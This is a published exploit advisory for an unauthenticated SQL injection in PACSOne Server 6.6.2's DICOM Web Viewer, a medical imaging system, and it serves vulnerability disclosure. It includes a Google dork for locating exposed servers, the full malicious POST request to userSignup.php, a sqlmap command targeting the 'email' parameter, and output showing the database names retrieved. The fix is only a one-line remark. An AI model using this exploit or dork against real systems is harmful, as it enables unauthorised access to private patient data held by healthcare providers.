PACSOne Server 6.6.2 DICOM Web Viewer SQL Injection

`# Exploit Title: PACSOne Server 6.6.2 DICOM Web Viewer SQL Injection  
# Date: 08/14/2017  
# Software Link: http://www.pacsone.net/download.htm  
# Version: PACSOne Server 6.6.2  
# Exploit Author: Carlos Avila  
# Google Dork: inurl:pacs/login.php inurl:pacsone/login.php inurl:pacsone filetype:php home inurl:pacsone filetype:php login  
# Category: webapps  
# Tested on: Windows 7 / Debian Linux  
# Contact: http://twitter.com/badboy_nt  
  
1. Description  
  
DICOM Web Viewer is a component written in PHP. In version 6.6.2, it is vulnerable to SQL Injection. This allows unauthenticated remote attacker to execute arbitrary SQL commands and obtain private information. Admin credentials aren't required.  
The 'username' and 'email' parameters via POST are vulnerable.  
  
Found: 08/14/2017  
Last Vendor Reply & Fix: 09/28/2017  
  
2. Proof of Concept  
  
  
POST /pacs/userSignup.php HTTP/1.1  
Host: 192.168.6.105  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:54.0) Gecko/20100101 Firefox/54.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 206  
Referer: http://192.168.6.105/pacs/userSignup.php?hostname=localhost&database=dicom  
Cookie: PHPSESSID=k0ggg80jcl6m61nrmp12esvat2  
DNT: 1  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
hostname=localhost&database=dicom&username=test&password=22222222&firstname=test&lastname=test&email=test&action=Sign+Up  
  
  
root@kali18:~# sqlmap -r pacsone_local -v 2 -f -p email --dbms mysql adbs  
  
web server operating system: Windows  
web application technology: Apache 2.4.23, PHP 5.6.25  
back-end DBMS: active fingerprint: MySQL >= 5.5.0  
comment injection fingerprint: MySQL 5.7.14  
html error message fingerprint: MySQL  
[20:09:33] [INFO] fetching database names  
[20:09:33] [INFO] the SQL query used returns 2 entries  
[20:09:33] [INFO] retrieved: information_schema  
[20:09:33] [INFO] retrieved: dicom  
[20:09:33] [DEBUG] performed 3 queries in 0.11 seconds  
available databases [2]:  
[*] dicom  
[*] information_schema  
  
  
3. Solution:  
  
Application inputs must be validated correctly.  
  
  
`